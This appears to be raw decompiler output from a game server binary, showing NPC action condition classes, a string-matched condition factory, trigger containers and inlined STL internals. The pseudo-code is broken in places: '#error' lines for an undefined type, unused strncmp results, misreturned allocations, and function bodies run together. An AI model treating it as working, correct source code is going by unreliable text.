(IObserverVtbl *)&NPCAction::DeadCondition::_vftable_; } // 67D8F0: using guessed type int (__thiscall *NPCAction__DeadCondition___vftable_)(void *p, char); //----- (0058B6A0) -------------------------------------------------------- void __thiscall NPCAction::DamageApplyCondition::DamageApplyCondition(NPCAction::DamageApplyCondition *this) { NPCAction::DamageApplyCondition *v1; // esi@1 v1 = this; NPCAction::ICondition::ICondition(&this->baseclass_0); v1->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::DamageApplyCondition::_vftable_; } // 67D904: using guessed type int (__thiscall *NPCAction__DamageApplyCondition___vftable_)(void *p, char); //----- (0058B6C0) -------------------------------------------------------- void *__thiscall NPCAction::GT_TeamCondition::_scalar_deleting_destructor_(NPCAction::DamageApplyCondition *this, unsigned int a2) { void *v2; // esi@1 v2 = this; NPCAction::ABStateCondition::_ABStateCondition(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0058B6E0) -------------------------------------------------------- void __thiscall NPCAction::ABStateCondition::_ABStateCondition(NPCAction::DamageApplyCondition *this) { this->baseclass_0.baseclass_0.vfptr = (IObserverVtbl *)NPCAction::ICondition::_vftable_; IObserver::_IObserver(&this->baseclass_0.baseclass_0); } // 67D7C8: using guessed type int (*NPCAction__ICondition___vftable_[3])(); //----- (0058B6F0) -------------------------------------------------------- bool __thiscall NPCAction::GT_TeamCondition::check(NPCAction::GT_TeamCondition *this) { NPCAction::GT_TeamCondition *v1; // edi@1 int v2; // eax@2 char v3; // al@5 int v4; // eax@6 int v5; // esi@6 bool result; // al@7 int v7; // eax@10 int v8; // eax@11 int v9; // eax@11 int v10; // [sp+Ch] [bp+4h]@0 v1 = this; if ( !v10 ) goto LABEL_14; v2 = (**(int (__thiscall ***)(_DWORD))v10)(v10); if ( v2 ) { while ( (ShineRTTI *)v2 != &ShineObjectClass::ShinePlayer::m_RTTI ) { v2 = *(_DWORD *)(v2 + 4); if ( !v2 ) goto LABEL_5; } v3 = 1; } else { LABEL_5: v3 = 0; } v4 = v3 != 0 ? v10 : 0; v5 = v4; if ( v4 && ShineObjectClass::ShineObject::so_CurMapname(v4) && (v7 = ShineObjectClass::ShineObject::so_CurMapname(v5), FieldMap::fm_GetGuildTournamentSystem((void *)v7)) ) { v8 = ShineObjectClass::ShineObject::so_CurMapname(v5); v9 = FieldMap::fm_GetGuildTournamentSystem((void *)v8); result = v1->m_Team == GuildTournamentSystem::GetGuildRegIndex((GuildTournamentSystem *)v9, (#593 *)v5); } else { LABEL_14: result = 0; } return result; } // 58B6F0: inconsistent function type and number of purged bytes //----- (0058B770) -------------------------------------------------------- #error "58B770: undefined or illegal type '#593' (funcsize=56)" //----- (0058B800) -------------------------------------------------------- NPCAction::ICondition *__thiscall NPCAction::CondGen_OptionReader::createCondition_(NPCAction::CondGen_OptionReader *this, const char *condition, const char *type, unsigned int x, unsigned int y, NPCAction::CondGen_OptionReader::ConditionData_ *row, unsigned int low, unsigned int high) { char *v8; // edi@1 int v9; // eax@1 char *v10; // ebp@2 IObserverVtbl *v11; // ebx@3 int v12; // eax@3 int v13; // eax@6 unsigned int v14; // eax@7 AbnormalStateDictionary::AbState::AbStateStr *v15; // esi@10 void *v16; // eax@13 NPCAction::ICondition *result; // eax@14 int v18; // eax@15 int v19; // eax@18 unsigned int i; // edi@19 void *v21; // eax@22 void *v22; // esi@22 int v23; // eax@22 char v24; // cl@25 int v25; // eax@28 unsigned int v26; // eax@29 const unsigned __int16 v27; // si@29 void *v28; // eax@31 int v29; // eax@33 void *v30; // eax@34 int v31; // eax@36 void *v32; // eax@37 int v33; // eax@39 int v34; // eax@40 int v35; // eax@41 int v36; // eax@44 void *v37; // eax@45 int v38; // eax@47 int v39; // eax@50 void *v40; // ecx@54 v8 = (char *)condition; strncmp("Term", (char *)condition, 0x21u); if ( v9 ) { v11 = (IObserverVtbl *)x; v10 = (char *)type; } else { v10 = row->TypeB; v8 = row->ConditionB; do { v11 = (IObserverVtbl *)row->BX; high = row->AY; low = row->AX; y = row->BY; strncmp("Term", v8, 0x21u); } while ( !v12 ); } strncmp("AbState", v8, 0x21u); if ( v13 ) { strncmp("LvGap", v8, 0x21u); if ( v18 ) { strncmp("Class", v8, 0x21u); if ( v19 ) { strncmp("Skill", v8, 0x21u); if ( v25 ) { strncmp("Die", v8, 0x21u); if ( v29 ) { strncmp("Emotion", v8, 0x21u); if ( v31 ) { strncmp("Default", v8, 0x21u); if ( v33 ) { strncmp("None", v8, 0x21u); if ( v34 ) { strncmp("GTITeam", v8, 0x21u); if ( !v35 ) { result = (NPCAction::ICondition *)operator new(0xCu); if ( result ) { result[1].baseclass_0.vfptr = v11; result->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::GT_TeamCondition::_vftable_; return result; } return 0; } strncmp("DmgAbsorb", v8, 0x21u); if ( !v36 ) { v37 = operator new(4u); if ( v37 ) { NPCAction::DamageApplyCondition::DamageApplyCondition((NPCAction::DamageApplyCondition *)result); return result; } return 0; } strncmp("CheckCycleParty", v8, 0x21u); if ( !v38 ) { result = (NPCAction::ICondition *)operator new(8u); if ( result ) { result[1].baseclass_0.vfptr = v11; result->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::CheckCyclePartyCondition::_vftable_; return result; } return 0; } strncmp("Location", v8, 0x21u); if ( !v39 ) { result = (NPCAction::ICondition *)operator new(0xCu); if ( result ) { result[1].baseclass_0.vfptr = v11; result->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::LocationCondition::_vftable_; result[2].baseclass_0.vfptr = (IObserverVtbl *)y; return result; } return 0; } AssertClass::ac_AssertFail( &shineassert, "CondGen_OptionReader::createCondition_ : Unsupported Condition", v8); } } v40 = operator new(0xCu); if ( v40 ) { *((_DWORD *)v40 + 1) = (unsigned int)(10 * low * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; *(_DWORD *)v40 = &NPCAction::NoneCondition::_vftable_; *((_DWORD *)v40 + 2) = (unsigned int)(10 * high * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; return (NPCAction::ICondition *)v40; } } else { v32 = operator new(0x10u); if ( v32 ) { NPCAction::EmotionCondition::EmotionCondition( (NPCAction::EmotionCondition *)result, (const char)v11, low, high); return result; } } } else { v30 = operator new(4u); if ( v30 ) { NPCAction::DeadCondition::DeadCondition((NPCAction::DeadCondition *)result); return result; } } } else { v26 = BTree::operator__(&skillnametree, v10); v27 = v26; if ( AssertClass::operator__(&shineassert, v26 != -1, "CondGen_OptionReader : Invalid Skill", 0) ) ShineExit("CondGen_OptionReader"); v28 = operator new(0x10u); if ( v28 ) { NPCAction::SkillCondition::SkillCondition((NPCAction::SkillCondition *)result, v27, low, high); return result; } } } else { for ( i = 0; ; ++i ) { if ( !gClassName.m_pHead || i >= gClassName.m_pHead->nNumOfRecord ) { AssertClass::ac_AssertFail(&shineassert, "CondGen_OptionReader : Invalid Class Name", v10); ShineExit("CondGen_OptionReader"); } v21 = CDataReader::GetRecord(&gClassName, i); v22 = v21; strncmp((char *)v21 + 5, v10, 0x10u); if ( !v23 ) break; } result = (NPCAction::ICondition *)operator new(8u); if ( result ) { v24 = *(_BYTE *)v22; result->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::ClassCondition::_vftable_; LOBYTE(result[1].baseclass_0.vfptr) = v24; return result; } } } else { result = (NPCAction::ICondition *)operator new(8u); if ( result ) { LOBYTE(result[1].baseclass_0.vfptr) = (_BYTE)v11; result->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::LvGapCondition::_vftable_; BYTE1(result[1].baseclass_0.vfptr) = y; return result; } } } else { v14 = BTree::operator__(&unk_6BD318, v10); if ( v14 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "CondGen_OptionReader : Invalid ABState", 0); ShineExit("CondGen_OptionReader"); } v15 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v14); if ( v15 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "CondGen_OptionReader : Invalid ABState", 0); ShineExit("CondGen_OptionReader"); } v16 = operator new(0x10u); if ( v16 ) { NPCAction::ABStateCondition::ABStateCondition( (NPCAction::ABStateCondition *)v16, v15->index->AbStataIndex, low, high); return result; } } return 0; } // 67D7DC: using guessed type int (__thiscall *NPCAction__NoneCondition___vftable_)(void *p, char); // 67D834: using guessed type int (__thiscall *NPCAction__LvGapCondition___vftable_)(void *p, char); // 67D860: using guessed type int (__thiscall *NPCAction__ClassCondition___vftable_)(void *p, char); // 67D8B4: using guessed type int (__thiscall *NPCAction__GT_TeamCondition___vftable_)(void *p, char); // 67D8C8: using guessed type int (__thiscall *NPCAction__CheckCyclePartyCondition___vftable_)(void *p, char); // 67D8DC: using guessed type int (__thiscall *NPCAction__LocationCondition___vftable_)(void *p, char); //----- (0058BC40) -------------------------------------------------------- NPCAction::ICondition *__thiscall NPCAction::CondGen_OptionReader::operator__(NPCAction::CondGen_OptionReader *this) { NPCAction::CondGen_OptionReader *v1; // esi@1 int v2; // eax@1 const char *v3; // ecx@1 void *v4; // eax@3 NPCAction::ICondition *result; // eax@4 int v6; // ecx@5 ORToken v7; // [sp-20h] [bp-24h]@3 int v8; // [sp-1Ch] [bp-20h]@3 int v9; // [sp-18h] [bp-1Ch]@3 int v10; // [sp-14h] [bp-18h]@3 unsigned int v11; // [sp-10h] [bp-14h]@3 unsigned int v12; // [sp-Ch] [bp-10h]@1 NPCAction::CondGen_OptionReader *v13; // [sp+0h] [bp-4h]@1 v13 = this; v1 = this; v2 = this->currentRow_; v3 = *(const char **)&NPCAction::CondGen_OptionReader::tableName_._Bx._Buf[0]; v12 = v2; if ( NPCAction::CondGen_OptionReader::tableName_._Myres < 0x10 ) v3 = (const char *)&NPCAction::CondGen_OptionReader::tableName_._Bx; v13 = (NPCAction::CondGen_OptionReader *)&v7; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)&v7.ort_Name[0] = 0; strncpy(v7.ort_Name, v3, 0x14u); v4 = OptionReader::or_SelectFromOrder(v1->optionReader_, v7, v12); if ( v4 ) { v6 = v1->currentRow_; v12 = 0; v11 = 0; v1->currentRow_ = v6 + 1; result = NPCAction::CondGen_OptionReader::createCondition_( v1, (const char *)v4 + 1, (const char *)v4 + 34, *(_DWORD *)((char *)v4 + 67), *(_DWORD *)((char *)v4 + 71), (NPCAction::CondGen_OptionReader::ConditionData_ *)v4, v11, v12); } else { result = 0; } return result; } //----- (0058BCC0) -------------------------------------------------------- void __thiscall NeighborhoodChecker::NeighborhoodChecker(NeighborhoodChecker *this, std::vector > *triggerCollection) { NeighborhoodChecker *v2; // esi@1 v2 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v2->triggerCollection_ = triggerCollection; v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)&NeighborhoodChecker::_vftable_; } // 67DA48: using guessed type int (__stdcall *NeighborhoodChecker___vftable_)(#593 *pcName, ShineRTTI *pkBaseRTTI, int distancesquar); //----- (0058BCE0) -------------------------------------------------------- void __thiscall NeighborhoodChecker::_NeighborhoodChecker(NeighborhoodChecker *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&NeighborhoodChecker::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 67DA48: using guessed type int (__stdcall *NeighborhoodChecker___vftable_)(#593 *pcName, ShineRTTI *pkBaseRTTI, int distancesquar); //----- (0058BCF0) -------------------------------------------------------- unsigned int __thiscall std::basic_string_std::allocator>::rfind(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Off, unsigned int _Count) { unsigned int v4; // edi@1 unsigned int v5; // ecx@2 unsigned int result; // eax@2 unsigned int v7; // eax@4 unsigned int v8; // eax@5 unsigned int v9; // esi@7 char *v10; // edx@7 char *v11; // ecx@8 int i; // eax@10 unsigned int v13; // ecx@12 const char *v14; // edi@12 int v15; // esi@12 bool v16; // zf@12 char *v17; // ecx@18 unsigned int _Offa; // [sp+Ch] [bp+8h]@7 v4 = _Count; if ( !_Count ) { v5 = this->_Mysize; result = _Off; if ( _Off >= v5 ) result = v5; return result; } v7 = this->_Mysize; if ( _Count > v7 ) return -1; v8 = v7 - _Count; if ( _Off < v8 ) v8 = _Off; v9 = this->_Myres; _Offa = this->_Myres; v10 = (char *)&this->_Bx; if ( v9 < 0x10 ) v11 = (char *)&this->_Bx; else v11 = *(char **)v10; for ( i = (int)&v11[v8]; ; --i ) { if ( *(_BYTE *)i != *_Ptr ) goto LABEL_17; v13 = v4; v14 = _Ptr; v15 = i; v16 = 1; do { if ( !v13 ) break; v16 = *(_BYTE *)v15++ == *v14++; --v13; } while ( v16 ); if ( v16 ) break; v4 = _Count; v9 = _Offa; LABEL_17: if ( v9 < 0x10 ) v17 = v10; else v17 = *(char **)v10; if ( (char *)i == v17 ) return -1; } if ( _Offa >= 0x10 ) v10 = *(char **)v10; return i - (_DWORD)v10; } //----- (0058BD90) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Wherenode) { int v2; // eax@1 int v3; // ecx@3 int v4; // ecx@5 v2 = *(_DWORD *)&_Wherenode[4].baseclass_0.comp.baseclass_0.dummy[0]; *(_DWORD *)&_Wherenode[4].baseclass_0.comp.baseclass_0.dummy[0] = *(_DWORD *)v2; if ( !*(_BYTE *)(*(_DWORD *)v2 + 33) ) *(_DWORD *)(*(_DWORD *)v2 + 4) = _Wherenode; *(_DWORD *)(v2 + 4) = *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0]; v3 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)(v3 + 4) ) { *(_DWORD *)(v3 + 4) = v2; *(_DWORD *)v2 = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } else { v4 = *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0]; if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)v4 ) { *(_DWORD *)v4 = v2; *(_DWORD *)v2 = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } else { *(_DWORD *)(v4 + 8) = v2; *(_DWORD *)v2 = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } } } //----- (0058BDF0) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Wherenode) { int v2; // eax@1 int v3; // esi@1 int v4; // ecx@3 int v5; // ecx@5 v2 = *(_DWORD *)&_Wherenode->baseclass_0.comp.baseclass_0.dummy[0]; *(_DWORD *)&_Wherenode->baseclass_0.comp.baseclass_0.dummy[0] = *(_DWORD *)(*(_DWORD *)&_Wherenode->baseclass_0.comp.baseclass_0.dummy[0] + 8); v3 = *(_DWORD *)(v2 + 8); if ( !*(_BYTE *)(v3 + 33) ) *(_DWORD *)(v3 + 4) = _Wherenode; *(_DWORD *)(v2 + 4) = *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0]; v4 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)(v4 + 4) ) { *(_DWORD *)(v4 + 4) = v2; *(_DWORD *)(v2 + 8) = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } else { v5 = *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0]; if ( _Wherenode == *(std::_Tree_nod >,std::less,std::allocator > **)(v5 + 8) ) { *(_DWORD *)(v5 + 8) = v2; *(_DWORD *)(v2 + 8) = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } else { *(_DWORD *)v5 = v2; *(_DWORD *)(v2 + 8) = _Wherenode; *(_DWORD *)&_Wherenode[2].baseclass_0.comp.baseclass_0.dummy[0] = v2; } } } //----- (0058BE50) -------------------------------------------------------- void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec(std::_Tree >,std::less,std::allocator > > > *this) { std::_Tree >,std::less,std::allocator > > > v1; // eax@1 std::_Tree >,std::less,std::allocator > > > v2; // edx@3 std::_Tree >,std::less,std::allocator > > > i; // eax@4 std::_Tree >,std::less,std::allocator > > > v4; // eax@7 v1 = *this; if ( *(_BYTE *)(*this + 33) ) { *this = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 33) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 33) ) { do { if ( *this != *(_DWORD *)v4 ) break; *this = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 33) ); if ( !*(_BYTE *)(v4 + 33) ) *this = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 33); i = *(_DWORD *)(i + 8) ) v2 = i; *this = v2; } } } //----- (0058BEB0) -------------------------------------------------------- #error "58BEB0: undefined or illegal type '#593' (funcsize=21)" //----- (0058BEF0) -------------------------------------------------------- #error "58BEF0: undefined or illegal type '#593' (funcsize=79)" //----- (0058BFE0) -------------------------------------------------------- void __thiscall NPCAction::Manager::_Manager(NPCAction::Manager *this) { NPCAction::Manager *v1; // edi@1 NPCAction::ICondition **v2; // ebx@1 NPCAction::ICondition **i; // esi@1 v1 = this; v2 = this->container_._Mylast; for ( i = this->container_._Myfirst; i != v2; ++i ) { if ( *i ) ((void (__stdcall *)(_DWORD))(*i)->baseclass_0.vfptr->__vecDelDtor)(1); } if ( v1->container_._Myfirst ) operator delete(v1->container_._Myfirst); v1->container_._Myfirst = 0; v1->container_._Mylast = 0; v1->container_._Myend = 0; } //----- (0058C050) -------------------------------------------------------- void __thiscall NPCAction::Trigger::_Trigger(NPCAction::Trigger *this) { NPCAction::Trigger *v1; // esi@1 v1 = this; if ( this->actions_._Myfirst ) operator delete(this->actions_._Myfirst); v1->actions_._Myfirst = 0; v1->actions_._Mylast = 0; v1->actions_._Myend = 0; IObserver::_IObserver(&v1->baseclass_0); } //----- (0058C080) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0058C0F0) -------------------------------------------------------- void __thiscall NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader(NPCAction::TriggerGen_OptionReader *this) { std::vector>::_Tidy((std::vector > *)&this->triggers_); } //----- (0058C100) -------------------------------------------------------- void __thiscall std::pair>>::_pair>>(std::pair > > *this) { std::vector>::_Tidy((std::vector > *)&this->second); } //----- (0058C110) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(4 * _Capacity); v2->_Myend = (NPCAction::IAction **)((char *)v4 + 4 * _Capacity); v2->_Myfirst = (NPCAction::IAction **)v4; v2->_Mylast = (NPCAction::IAction **)v4; result = 1; } else { result = 0; } return result; } //----- (0058C160) -------------------------------------------------------- void __thiscall std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(std::_Tree_nod >,std::less,std::allocator > *this) { std::vector>::_Tidy((std::vector > *)&this[8]); } //----- (0058C170) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { std::vector > *v2; // esi@1 NPCAction::IAction **v3; // ecx@1 signed int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 NPCAction::IAction **v7; // ecx@7 NPCAction::IAction **v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = this; v3 = _Right->_Myfirst; v11 = &v9; v10 = v2; if ( v3 ) v4 = _Right->_Mylast - v3; else v4 = 0; v2->_Myfirst = 0; v2->_Mylast = 0; v2->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)v2); v5 = 4 * v4; v6 = operator new(4 * v4); v2->_Myfirst = (NPCAction::IAction **)v6; v2->_Mylast = (NPCAction::IAction **)v6; v2->_Myend = (NPCAction::IAction **)((char *)v6 + v5); v7 = _Right->_Mylast; v8 = _Right->_Myfirst; v12 = 0; v2->_Mylast = (NPCAction::IAction **)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( (std::list,std::allocator > >::iterator *)v8, (std::list,std::allocator > >::iterator *)v7, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (0058C216) -------------------------------------------------------- void __usercall _L170201(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::operator_(void *this, int a2) { void *v2; // esi@1 char *v3; // ebx@2 int v4; // edx@3 void *result; // eax@6 NPCAction::IAction **v6; // ecx@7 int v7; // ebp@8 int v8; // eax@11 int v9; // eax@15 int v10; // eax@19 #593 **v11; // ebx@21 int v12; // ecx@24 int v13; // eax@25 v2 = this; if ( this == (void *)a2 ) return v2; v3 = *(char **)(a2 + 4); if ( !v3 || (v4 = (*(_DWORD *)(a2 + 8) - (signed int)v3) >> 2) == 0 ) { if ( *((_DWORD *)this + 1) ) operator delete(*((void **)this + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } v6 = (NPCAction::IAction **)*((_DWORD *)this + 1); if ( v6 ) v7 = (*((_DWORD *)v2 + 2) - (signed int)v6) >> 2; else v7 = 0; if ( v4 <= (unsigned int)v7 ) { memmove((char *)v6, v3, 4 * ((*(_DWORD *)(a2 + 8) - (signed int)v3) >> 2)); v8 = *(_DWORD *)(a2 + 4); if ( v8 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 4 * ((*(_DWORD *)(a2 + 8) - v8) >> 2); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v6 ) v9 = (*((_DWORD *)v2 + 3) - (signed int)v6) >> 2; else v9 = 0; if ( v4 > (unsigned int)v9 ) { if ( v6 ) operator delete(*((void **)v2 + 1)); v12 = *(_DWORD *)(a2 + 4); if ( v12 ) v13 = (*(_DWORD *)(a2 + 8) - v12) >> 2; else v13 = 0; if ( std::vector>::_Buy( (std::vector > *)v2, v13) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( *(char **)(a2 + 4), *(_DWORD *)(a2 + 8), *((char **)v2 + 1)); return v2; } if ( v6 ) v10 = (*((_DWORD *)v2 + 2) - (signed int)v6) >> 2; else v10 = 0; v11 = (#593 **)(*(_DWORD *)(a2 + 4) + 4 * v10); std::copy(*(#593 ***)(a2 + 4), v11, *((#593 ***)v2 + 1)); *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (char *)v11, *(_DWORD *)(a2 + 8), *((char **)v2 + 2)); return v2; } //----- (0058C380) -------------------------------------------------------- void __thiscall NPCAction::Trigger::Trigger(NPCAction::Trigger *this, NPCAction::Trigger *__that) { this->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::Trigger::_vftable_; this->condition_ = __that->condition_; std::vector>::vector>( &this->actions_, &__that->actions_); } // 67DA6C: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (0058C3E0) -------------------------------------------------------- void *__thiscall NPCAction::Trigger::_scalar_deleting_destructor_(NPCAction::Trigger *this, unsigned int a2) { void *v2; // esi@1 v2 = this; NPCAction::Trigger::_Trigger(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0058C400) -------------------------------------------------------- NPCAction::Trigger *__cdecl std::_Copy_opt(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { NPCAction::Trigger *v4; // esi@1 NPCAction::Trigger *v5; // edi@2 NPCAction::Trigger *result; // eax@4 v4 = _First; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v5->condition_ = v4->condition_; std::vector>::operator_( &v5->actions_, (int)&v4->actions_); ++v4; ++v5; } while ( v4 != _Last ); result = v5; } return result; } //----- (0058C440) -------------------------------------------------------- NPCAction::Trigger *__cdecl std::_Copy_backward_opt(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { NPCAction::Trigger *v4; // esi@1 NPCAction::Trigger *v5; // edi@2 NPCAction::ICondition *v6; // eax@3 NPCAction::Trigger *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = (NPCAction::ICondition *)*((_DWORD *)v4 - 5); --v4; --v5; v5->condition_ = v6; std::vector>::operator_( &v5->actions_, (int)&v4->actions_); } while ( v4 != _First ); result = v5; } return result; } //----- (0058C480) -------------------------------------------------------- void __cdecl std::generate_n>::iterator_unsigned_int_NPCAction::TriggerGen_OptionReader>(std::vector >::iterator _Dest, unsigned int _Count, NPCAction::TriggerGen_OptionReader _Func) { void *v3; // esi@2 unsigned int v4; // edi@2 NPCAction::Trigger *v5; // eax@3 NPCAction::Trigger *v6; // esi@6 NPCAction::Trigger *v7; // edi@7 NPCAction::Trigger result; // [sp+Ch] [bp-24h]@3 int v9; // [sp+2Ch] [bp-4h]@1 v9 = 0; if ( _Count ) { v3 = (void *)(*(_DWORD *)&_Dest + 8); v4 = _Count; do { v5 = NPCAction::TriggerGen_OptionReader::operator__(&_Func, &result); *((_DWORD *)v3 - 1) = v5->condition_; LOBYTE(v9) = 1; std::vector>::operator_(v3, (int)&v5->actions_); LOBYTE(v9) = 0; if ( result.actions_._Myfirst ) operator delete(result.actions_._Myfirst); result.actions_._Myfirst = 0; result.actions_._Mylast = 0; result.actions_._Myend = 0; IObserver::_IObserver(&result.baseclass_0); v3 = (char *)v3 + 24; --v4; } while ( v4 ); } v6 = _Func.triggers_._Myfirst; v9 = -1; if ( _Func.triggers_._Myfirst ) { v7 = _Func.triggers_._Mylast; if ( _Func.triggers_._Myfirst != _Func.triggers_._Mylast ) { do { v6->baseclass_0.vfptr->__vecDelDtor((IObserver *)v6, 0); ++v6; } while ( v6 != v7 ); v6 = _Func.triggers_._Myfirst; } operator delete(v6); } } //----- (0058C550) -------------------------------------------------------- void __cdecl std::fill(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Val) { NPCAction::Trigger *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->condition_ = _Val->condition_; std::vector>::operator_( &i->actions_, (int)&_Val->actions_); } } //----- (0058C590) -------------------------------------------------------- NPCAction::Trigger *__cdecl std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, NPCAction::Trigger *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { NPCAction::Trigger *v5; // esi@1 std::vector >::const_iterator v6; // edi@1 NPCAction::ICondition *v7; // eax@4 int v9; // [sp+0h] [bp-20h]@1 NPCAction::Trigger *_Next; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v11 = &v9; _Next = _Dest; v12 = 0; while ( v6 != _Last ) { if ( v5 ) { v5->baseclass_0.vfptr = (IObserverVtbl *)&NPCAction::Trigger::_vftable_; v7 = *(NPCAction::ICondition **)(*(_DWORD *)&v6 + 4); LOBYTE(v12) = 2; v5->condition_ = v7; std::vector>::vector>( &v5->actions_, (std::vector > *)(*(_DWORD *)&v6 + 8)); } ++v5; LOBYTE(v12) = 0; *(_DWORD *)&v6 += 24; } return v5; } // 67DA6C: using guessed type int (__thiscall *NPCAction__Trigger___vftable_)(void *p, char); //----- (0058C630) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 NPCAction::Trigger *v6; // eax@2 NPCAction::Trigger *v7; // edi@2 NPCAction::Trigger *v8; // ebx@2 NPCAction::Trigger *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::_Copy_opt( *(NPCAction::Trigger **)&_Last, v4->_Mylast, *(NPCAction::Trigger 